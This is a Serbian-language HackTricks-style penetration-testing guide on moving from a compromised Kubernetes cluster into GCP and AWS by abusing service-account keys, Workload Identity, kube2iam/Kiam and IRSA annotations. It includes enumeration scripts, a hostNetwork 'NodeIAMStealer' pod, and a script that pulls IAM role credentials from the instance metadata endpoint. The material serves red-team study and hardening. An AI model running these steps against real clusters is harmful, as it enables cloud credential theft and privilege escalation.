Kubernetes Pivoting to Clouds

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

GCP

Ako pokrećete k8s klaster unutar GCP-a, verovatno želite da neka aplikacija koja se pokreće unutar klastera ima pristup GCP-u. Postoje 2 uobičajena načina da to uradite:

Montiranje GCP-SA ključeva kao tajne

Uobičajen način da se omogući pristup kubernetes aplikaciji GCP-u je da:

  • Kreirate GCP servisni nalog
  • Povežete željene dozvole
  • Preuzmete json ključ kreiranog SA
  • Montirate ga kao tajnu unutar poda
  • Postavite GOOGLE_APPLICATION_CREDENTIALS promenljivu okruženja koja pokazuje na putanju gde se json nalazi.

warning

Stoga, kao napadač, ako kompromitujete kontejner unutar poda, trebali biste proveriti tu env promenljivu i json fajlove sa GCP kredencijalima.

Povezivanje GSA json sa KSA tajnom

Način da se omogući pristup GSA GKE klasteru je povezivanje na sledeći način:

  • Kreirajte Kubernetes servisni nalog u istom namespace-u kao vaš GKE klaster koristeći sledeću komandu:
bash
Copy codekubectl create serviceaccount <service-account-name>
  • Kreirajte Kubernetes Secret koji sadrži akreditive GCP servisnog naloga kojem želite dodeliti pristup GKE klasteru. To možete uraditi koristeći gcloud komandnu liniju, kao što je prikazano u sledećem primeru:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Povežite Kubernetes Secret sa Kubernetes servisnim nalogom koristeći sledeću komandu:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

U drugom koraku su postavljene akreditivi GSA kao tajna KSA. Tada, ako možete pročitati tu tajnu iz unutar GKE klastera, možete escalirati na taj GCP servisni nalog.

GKE Workload Identity

Sa Workload Identity, možemo konfigurisati a Kubernetes servisni nalog da deluje kao a Google servisni nalog. Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupanja Google Cloud API-ima.

Prva serija koraka za omogućavanje ovog ponašanja je da omogućite Workload Identity u GCP (koraci) i kreirate GCP SA koji želite da k8s imitira.

  • Omogućite Workload Identity na novom klasteru
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Kreirajte/ ažurirajte novi nodepool (Autopilot klasteri to ne zahtevaju)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Kreirajte GCP servisni nalog za impersonaciju iz K8s sa GCP dozvolama:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Povežite se na klaster i napravite nalog usluge koji ćete koristiti
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Povežite GSA sa KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Pokrenite pod sa KSA i proverite pristup do GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Proverite sledeću komandu za autentifikaciju u slučaju potrebe:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Kao napadač unutar K8s, trebali biste tražiti SAs sa iam.gke.io/gcp-service-account anotacijom, jer to ukazuje da SA može pristupiti nečemu u GCP-u. Druga opcija bi bila da pokušate da zloupotrebite svaki KSA u klasteru i proverite da li ima pristup.
Iz GCP-a je uvek zanimljivo enumerisati vezivanja i znati koji pristup dajete SAs unutar Kubernetes-a.

Ovo je skripta za lako iteriranje kroz sve definicije podova tražeći tu anotaciju:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM uloga za Podove)

Zastarjeli način davanja IAM uloga Podovima je korišćenje Kiam ili Kube2IAM servera. U suštini, potrebno je pokrenuti daemonset u vašem klasteru sa nekom privilegovanom IAM ulogom. Ovaj daemonset će biti onaj koji će omogućiti pristup IAM ulogama podovima kojima je to potrebno.

Prvo što treba da uradite je da konfigurišete koje uloge mogu biti pristupne unutar imenskog prostora, a to radite sa anotacijom unutar objekta imenskog prostora:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Kada je prostor imena konfigurisan sa IAM rolama koje Podovi mogu imati, možete naznačiti ulogu koju želite u svakoj definiciji poda sa nečim poput:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Kao napadač, ako pronađete ove anotacije u podovima ili prostorima imena ili ako se kiam/kube2iam server pokreće (verovatno u kube-system) možete imitiirati svaku rolu koja se već koristi od strane podova i više (ako imate pristup AWS nalogu, enumerišite uloge).

Kreirajte Pod sa IAM Ulogom

note

IAM uloga koju treba naznačiti mora biti u istom AWS nalogu kao kiam/kube2iam uloga i ta uloga mora imati pristup.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Ovo je preporučeni način od strane AWS.

  1. Prvo treba da napravite OIDC provajder za klaster.
  2. Zatim kreirajte IAM ulogu sa dozvolama koje će SA zahtevati.
  3. Napravite odnos poverenja između IAM uloge i SA imenom (ili imenom prostora imena koji daje pristup ulozi svim SA-ima u prostoru imena). Odnos poverenja će uglavnom proveravati ime OIDC provajdera, ime prostora imena i ime SA.
  4. Na kraju, napravite SA sa anotacijom koja označava ARN uloge, a podovi koji se pokreću sa tom SA će imati pristup tokenu uloge. Token je napisan unutar datoteke i putanja je specificirana u AWS_WEB_IDENTITY_TOKEN_FILE (podrazumevano: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Da dobijete aws koristeći token iz /var/run/secrets/eks.amazonaws.com/serviceaccount/token pokrenite:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Kao napadač, ako možete da enumerišete K8s klaster, proverite za service accounts sa tom anotacijom da escalate to AWS. Da biste to uradili, jednostavno exec/create pod koristeći jedan od IAM privileged service accounts i ukradite token.

Pored toga, ako ste unutar poda, proverite za env varijable kao što su AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

caution

Ponekad Trust Policy of a role može biti loše konfigurisana i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga svim service accounts. Stoga, ako ste u mogućnosti da napišete anotaciju na kontrolisanom service account-u, možete pristupiti roli.

Proverite sledeću stranicu za više informacija:

AWS - Federation Abuse

Pronađite Podove i SAs sa IAM Rolama u Klasteru

Ovo je skripta za lako iteriranje kroz sve podove i sas definicije tražeći tu anotaciju:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Prethodna sekcija je bila o tome kako ukrasti IAM uloge pomoću podova, ali imajte na umu da će čvor K8s klastera biti instanca unutar oblaka. To znači da je veoma verovatno da će čvor imati novu IAM ulogu koju možete ukrasti (imajte na umu da obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno pokušavati proveravati svaki čvor).

Međutim, postoji važan zahtev za pristup metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Ukrao IAM Role Token

Prethodno smo razgovarali o tome kako da priključite IAM Role na Pods ili čak kako da pobegnete na Node da ukradete IAM Role koji je instanci priključen.

Možete koristiti sledeći skript da ukradete svoje nove teško zarađene IAM role kredencijale:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks